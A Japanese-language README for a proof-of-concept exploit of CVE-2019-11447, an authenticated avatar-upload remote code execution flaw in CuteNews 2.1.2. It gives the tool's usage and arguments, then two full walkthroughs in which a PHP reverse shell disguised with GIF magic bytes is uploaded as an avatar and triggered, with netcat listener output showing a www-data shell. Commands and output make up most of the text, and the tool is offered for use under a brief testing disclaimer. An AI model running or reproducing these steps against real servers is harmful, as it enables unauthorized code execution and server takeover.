CVE-2019-11447 Exploit/PoC - CuteNews 2.1.2 アバターアップロード RCE (認証済み)

CVE-2019-11447 のエクスプロイトコード、別名 CuteNews 2.1.2 アバターアップロード RCE (認証済み)

エクスプロイトリンク:

期待される結果: アカウントにログイン/登録し、 .gif マジックバイトを含むユーザー選択の PHP ファイルを作成し、そのファイルをアバターとしてアップロードしてトリガーし、リモートコード実行を達成します。

教育目的および企業環境でのテストのみを目的としています。

このエクスプロイトは Python 3.8.6 でテストされています。

使用法

cfx:  ~/cutenews
→ ./exploit.py -h
usage: exploit.py [-h] [-l URL] [-u USERNAME] [-p PASSWORD] [-e EMAIL]

CuteNews 2.1.2 Avatar upload RCE (Authenticated) by ColdFusionX

optional arguments:
  -h, --help            show this help message and exit
  -l URL, --url URL     CuteNews URL (Example: http://127.0.0.1)
  -u USERNAME, --username USERNAME
                        Username to Login/Register
  -p PASSWORD, --password PASSWORD
                        Password to Login/Register
  -e EMAIL, --email EMAIL
                        Email to Login/Register

Exploit Usage :
./exploit.py -l http://127.0.0.1 -u cold -p fusion -e [email protected]
./exploit.py -l http://127.0.0.1 -u optimus -p prime -e [email protected]
[^] Select your PHP file -> rev.php
OR
[^] Select your PHP file -> ~/Downloads/rev.php
[^] Press y/n to trigger reverse shell -> y

ユーザー入力 :

このエクスプロイトは最初に4つの引数を必要とします :

-l : CuteNews URL
-u : ログイン/登録に必要なユーザー名
-p : ログイン/登録に必要なパスワード
-e : ログイン/登録に必要なメールアドレス

追加で必要なユーザー入力:

PHPファイルを選択 -> ここでユーザーはアップロードするPHPファイルを指定する必要があります。PHP info、PHP reverse shellなど、任意の PHPファイルを指定できます。PHPファイルがエクスプロイトと同じディレクトリにある場合は、ファイル名のみを指定できます。

例: [^] Select your PHP file -> rev.php

または、ユーザーはPHPファイルの場所を指定する必要があります:

例: [^] Select your PHP file -> ~/Downloads/rev.php

y/n を押してリバースシェルをトリガー -> ここで、ユーザーがPHPリバースシェルをアップロードした場合、y/n でリバースシェルをトリガーするか選択できます。

いずれの場合も、エクスプロイトはアップロードされたファイルの場所を出力して、後で使用できるようになっています。

エクスプロイトの実行

シナリオ1 > 既存の認証情報でログインし、リバースシェルを取得する:

cfx:  ~/cutenews
→ ./exploit.py -l http://127.0.0.1 -u optimus -p prime -e [email protected]
[+] CuteNews 2.1.2 Avatar Upload RCE exploit by ColdFusionX

[+] User exists ! Logged in Successfully
[^] Select your PHP file -> rev.php

[*] Adding Magic Byte to PHP file
[+] Upload Successful !!
[*] File location --> http://10.10.10.206/CuteNews/uploads/avatar_cold_cold.php

[^] Press y/n to trigger PHP file -> y
[*] Check listener for reverse shell
[*] Execution Completed

シェル

cfx:  ~/cutenews
→ nc -lvnp 8020
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::8020
Ncat: Listening on 0.0.0.0:8020
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:32868.
Linux passage 4.15.0-45-generic #48~16.04.1-Ubuntu SMP Tue Jan 29 18:03:48 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 03:06:04 up  4:15,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
prime    tty7     :0               22:50    4:15m  9.36s  0.69s /sbin/upstart --user
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit

シナリオ2 > 新しいユーザーを登録し、リバースシェルを取得する:

cfx:  ~/cutenews
→ ./exploit.py -l http://127.0.0.1 -u cold -p fusion -e [email protected]
[+] CuteNews 2.1.2 Avatar Upload RCE exploit by ColdFusionX

[+] Credentials cold:fusion Successfully Registered
[^] Select your PHP file -> rev.php

[*] Adding Magic Byte to PHP file
[+] Upload Successful !!
[*] File location --> http://127.0.0.1/CuteNews/uploads/avatar_cold_cold.php

[^] Press y/n to trigger PHP file -> y
[*] Check listener for reverse shell
[*] Execution Completed

シェル

cfx:  ~/cutenews
→ nc -lvnp 8020
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::8020
Ncat: Listening on 0.0.0.0:8020
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:32868.
Linux passage 4.15.0-45-generic #48~16.04.1-Ubuntu SMP Tue Jan 29 18:03:48 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 03:06:04 up  4:15,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
prime   tty7     :0               22:50    4:15m  9.36s  0.69s /sbin/upstart --user
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit

参考文献

https://nvd.nist.gov/vuln/detail/CVE-2019-11447

CVE-2019-11447_CuteNews-AvatarUploadRCE

人気